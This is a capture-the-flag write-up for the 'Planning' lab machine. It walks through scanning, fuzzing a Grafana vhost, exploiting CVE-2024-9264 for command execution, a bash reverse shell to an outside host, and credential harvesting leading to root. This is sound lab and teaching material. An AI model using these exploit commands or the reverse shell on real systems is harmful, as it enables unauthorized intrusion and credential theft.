User Flag

This machine gives us default credentials:

admin / 0D5oT70Fq13EvB5r

Let’s start with the traditional nmap scans:

sudo nmap -p- --min-rate=1000 -oN nmap.out 10.129.214.74

Pasted image 20250523114645.png

sudo nmap -p22,80 -sC -sV -vv -oN nmap_scripts.out 10.129.214.74

Pasted image 20250523114942.png

In port 80 we have a redirect to http://planning.htb

We can also find the vhost grafana:

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -u http://planning.htb -H "Host: FUZZ.planning.htb" -fs 178 | tee ffuf_dns_namelist_planning.out

Pasted image 20250526134754.png

We can use the credentials provided to login to grafana:

Pasted image 20250526135524.png

In the help section, we can find grafana’s version:

Pasted image 20250526141712.png

Googling for exploits we can find: https://github.com/nollium/CVE-2024-9264

And we can simply execute the exploit:

python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c whoami http://grafana.planning.htb

Pasted image 20250526160349.png

The exploit successfully run the command whoami, so let’s try a rev shell:

python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'bash -c "bash -i >& /dev/tcp/10.10.14.123/4444 0>&1"' http://grafana.planning.htb

Pasted image 20250526160740.png

Checking the the environment variables:`

env

Pasted image 20250526161511.png

We find the username enzo and password RioTecRANDEntANT!. We can use them to ssh and get the user flag:

Pasted image 20250526161654.png

Root Flag

There is a service running in port 8000:

Pasted image 20250601114714.png

Visiting the service in the browser, we find a sign in prompt:

ssh [email protected] -L 8000:127.0.0.1:8000

Pasted image 20250601115027.png

We continue to enumerate and find an interesting file with root permissions:

find / -type f -user root 2>/dev/null | grep -v ^/run|^/proc|^/sys|^/usr

Pasted image 20250601115530.png

Pasted image 20250601115740.png

Pasted image 20250601115814.png

Since the file is json text data we can just print its contents:

Pasted image 20250601121247.png

We get a password and possible usernames, “root_grafana” or maybe “root”, let’s try to login:

Pasted image 20250601121456.png

And we are in:

Pasted image 20250601121530.png

Let’s create a job and try to run it:

Pasted image 20250601123929.png

Pasted image 20250601123939.png

We are root. let’s get the flag:

Pasted image 20250601124024.png

Pasted image 20250601124105.png